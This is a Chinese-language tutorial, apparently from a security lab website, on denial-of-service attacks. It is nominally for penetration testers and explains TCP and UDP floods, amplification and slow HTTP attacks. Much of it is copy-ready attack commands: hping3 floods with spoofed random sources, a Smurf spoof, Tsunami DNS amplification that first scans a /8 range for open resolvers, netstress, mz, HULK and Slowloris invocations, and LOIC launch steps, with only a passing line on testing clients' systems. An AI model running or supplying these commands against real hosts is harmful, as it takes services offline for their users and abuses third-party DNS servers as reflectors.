作为渗透测试人员,有时候需要对客户的系统进行DDOS攻击测试,
那么这个时候就需要我们有一款合格的测试工具。!!

DoS攻击

DoS:是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。不同于其他的留有木马后门或劫持数据的方式,DoS攻击并不威胁敏感数据,只是使合法用户不能获得应有的服务。DoS攻击也可以被用于瘫痪WAF,以便进一步攻击网站系统。

拒绝服务攻击与分布式拒绝服务攻击(DoS VS DDoS)

DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

简单来讲,DOS攻击从单一网络节点发起攻击,攻击源一般只有一个;DDOS攻击从分布在网络上的多个攻击源发起攻击,攻击源有成千上万,甚至更多....

拒绝服务攻击的分类(DOS)

DOS攻击大致分为两大类:应用层拒绝服务攻击与网络层拒绝服务攻击。为了更好的理解,我们先介绍“层”的概念 。

OSI参考模型将网络划分为7层架构,是指导应用程序在网络中通信的标准模型。

详细示意图如下:

网络层拒绝服务攻击

这类攻击集中在网络层与传输层,属于资源消耗型攻击(CPU满负荷或内存不足),用海量的恶意流量淹没目标机器,消耗目标机器的所有资源,从而使目标服务器失去正常响应。

TCP SYN Flood 攻击

SYN Flood攻击工作在传输层,为了能更好的了解这一攻击方式,我们需要先了解TCP连接的建立过程。

大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟链路,也就是TCP连接,建立TCP连接的标准过程俗称“三次握手”(Three-way Handshake):

第一次

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并 进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

第二次

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

攻击工具与方法 hping3 

简单SYN  Flood

root@kali:~# hping3 -S --flood -V -p TARGET_PORT TARGET_SITE
using eth0, addr: xxx.xxx.xxx.xxx, MTU: 1500
HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

高级SYN Flood随机源IP,定制数据包大小, Window Size值

root@kali:~# hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE

HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
–flood: sent packets as fast as possible
–rand-source: random source address
-c –count: packet count
-d –data: data size
-S –syn: set SYN flag
-w –win: winsize (default 64)
-p –destport: destination port (default 0)

更详细的说明请参考手册

UDP FLOOD 攻击

UDP协议与TCP协议不同,是无连接状态的协议.UDPFlood是流量型DoS攻击,原理也很简单。在UDPFLOOD攻击中,攻击者可发送大量伪造源IP地址的小UDP包。但是,由于UDP协议是无连接性的,所以只要开了一个UDP的端口提供相关服务的话,那么就可针对相关的服务进行攻击。

攻击工具与方法 hping3:

root@kali:~# hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP

HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

–flood: sent packets as fast as possible
–rand-source: random source address
–udp: UDP mode
-p –destport: destination port (default 0)

攻击工具与方法LOIC :

(Low Orbit Ion Cannon 低轨道离职炮)是一个最受欢迎的DOS攻击工具,而且有图形界面、更简单易用 。

1.左上角文本框填入IP或域名后点击Lock on,开始解析主机ip并选定为攻击目标。

2.下方还有端口,线程,模式的配置,攻击速度等,这些都是需要的,也可以保持默认(端口默认是80,线程默认是10,攻击速度最快),但是攻击模式是必须自己选择的,有HTTP,TCP和UDP 3种。

3.点击“IMMA CHARGIN MAH LAZER”按钮开始攻击,最下方有攻击的状态。

TCP FIN Flood

当客户端与服务端建立一个TCP连接的时候,带有FIN标记的TCP包才会被服务端接收,否则,即被丢弃。

如果攻击者向一个没有建立TCP连接的服务器发送,FIN包会被丢弃,但是服务器需要消耗资源来处理。

因为仅仅需要构造这种垃圾FIN包并发送他们,所以这种攻击很容易发起 。

攻击工具与方法 hping3

root@kali:~# hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP

HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): F set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
-F stands for setting FIN flag.

TCP RST Flood

RST包用于强制关闭TCP链接 。

如果攻击者捕捉到了源到目的地址的流量,便可以伪造RST包(使用正确的源地址,目的地址,源端口,目的端口等),这个RST包可以关闭真正的连接 。在持续发送的情况下,就很有可能使真正的连接无法建立。

攻击工具与方法 hping3  使用 -R 参数

root@kali:~# hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP

HPING TARGET_IP (eth0 TARGET_IP): R set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

PUSH + ACK Flood

攻击者通过发送大量的同时标记PUSH 与 ACK的包 ,可以让服务器无法响应合法的请求。

攻击工具与方法 hping3   使用 -PA 参数

root@kali:~# hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP

HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): AP set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
-PA stands for setting PSH and ACK flags.

攻击工具与方法: LOIC同样可以发起此种攻击,如果你选择 “TCP”的攻击模式,便会执行PSH+ACK flood 。

ICMP 与 IGMP Floods

这两种攻击方式如同UDP Floods,都是流量型攻击,通过对其目标发送大量数据包,就可以令目标主机瘫痪 。

攻击工具与方法hping3  使用 -1 

root@kali:~# hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP

HPING TARGET_IP (eth0 TARGET_IP): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

DDOS放大型攻击

攻击者不把通信包直接发给受害者,而是发给放大器然后反射给受害者。利用回复包比请求包大的特点(放大流量),伪造请求包的源IP地址,将应答包引向被攻击的目标。

执行放大攻击必须使用不需要验证源地址的无连接协议 。常见的包括 Smurf 攻击(ICMP 放大), DNS 放大攻击, 与 Fraggle 攻击(UDP 放大) 

Smurf 攻击

Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。

攻击工具与方法 hping3   

hping3 --icmp --spoof TARGET_IP BROADCAST_IP

DNS 放大攻击

就是通过DNS服务器作为跳板放大攻击流量,恶意攻击者可以向DNS解析器发送大量伪造的查询请求

正常DNS查询:

源IP地址 -----DNS查询----> DNS服务器 -----DNS回复包----> 源IP地址

DNS攻击:

伪造IP地址 -----DNS查询----> DNS服务器 -----DNS回复包----> 伪造的IP地址(攻击目标)

这种攻击不仅仅会对被攻击者造成拒绝服务攻击,同时也会给DNS服务器带来异常的流量 。

攻击工具与方法 Tsunami ,

首先需要先收集提供递归查询服务的DNS服务器

./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8

然后可以执行攻击了

./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt
-s: the target IP address.
-n: optional domain name to probe. The default is current hostname.
-f : the open recursive DNS servers file for the attack.
-p : number of packets to be send per DNS server. The default is 1 packet.

Fraggle 攻击  

Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP

应用层DOS攻击

应用层攻击又可以称为第七层攻击,首先提交正常的连接建立请求, 在连接建立后, 向目标服务器提交服务请求, 消耗服务器计算资源. 由于在网络层行为表现正常, 应用层DDoS攻击能够有效逃避应用层级的检测和过滤。

可以利用的协议包括 HTTP,HTTPS,DNS,SMTP,FTP,VOIP 与其他存在协议漏洞可以被用来发起攻击的应用层协议。

HTTP FLOOD

HTTP FLOOD 是最常见的应用层DOS攻击,别称叫做CC攻击(Challenge Collapsar),模拟正常用户的请求行为,与网站业务紧密相关 。

攻击工具与方法 LOIC,选择 HTTP模式

攻击工具与方法 HULK(HTTP压力测试工具)

root@kali:~# python hulk.py -site http://TARGET.com/test/

攻击工具与方法 Apache JMeter

Apache JMeter是一个专门为运行和服务器装载测试而设计的、100%的纯Java桌面运行程序,可以用来模拟对服务器或者网络系统加以重负荷以测试它的抵抗力,或者用来分析不同负荷类型下的所有运行情况,简单说明使用方法

界面,显示测试计划

为你的测试计划增加线程

配置线程 

定义 HTTP请求包

配置目的地址

现在基本配置已经完成,你也可以添加监听器,以便查看攻击报告。

按下CTRL+R已经可以发起攻击了。攻击报告会出现在监听器中

DNS Query Flood 攻击

实质上是UDP Flood的一种,但是由于DNS服务器的不可替代的关键作用,一旦服务器瘫痪,影响一般都很大。

攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层DNS服务器递归查询域名信息。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。

攻击工具与方法 Netstress 与mz(Mausezahn)

Netstress

root@kali:~# netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53
^C
 ---------- netstress stats ----------
   PPS:                  47980
   BPS:                  3070720
   MPS:                  2.93
   Total seconds active: 1
   Total packets sent:   47980
 -------------------------------------

-d: destination address
-a: type of attack
-t: type of DNS query
-n:  number of processes
-P: destination port

mz:

root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000

Do you know what you do?
Mausezahn will send 10000000 frames... ^C
Mausezahn cleans up...

-A: source IP address
-B: destination IP address or domain name
-t: packet type
-c: number of packets

慢速DOS攻击

对任何一个开放了HTTP访问的服务器HTTP服务器,先建立了一个连接,指定一个比较大的content-length,然后以非常低的速度发包,比如1-10s发一个字节,然后维持住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。

和CC攻击一样,只要Web服务器开放了Web服务,那么它就可以是一个靶子,HTTP协议在接收到request之前是不对请求内容作校验的,所以即使你的Web应用没有可用的form表单,这个攻击一样有效。

在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常的低廉。实际试验中一台普通PC可以建立的连接在3000个以上。这对一台普通的Web server,将是致命的打击。更不用说结合肉鸡群做分布式DoS了

攻击工具与方法 Slowloris

目标地址

./slowloris.pl -dns TARGET_URL
端口
./slowloris.pl -dns TARGET_URL -port 80
SOCKT数量
./slowloris.pl -dns TARGET_URL -port 80 -num 200
超时时间
./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30
HTTPS
./slowloris.pl -dns TARGET_URL -port 443 -timeout 30 -num 200 -https

易霖博信息安全攻防实验室:本站部分内容来自互联网,版权归原作者所有,如不慎侵害到您的相关权益,请留言告知,我们将尽快处理,谢谢!(Part of the information in our website is from the internet.If by any chance it violates your rights,we will delete it upon notification as soon as possible.Thank you for cooperation.)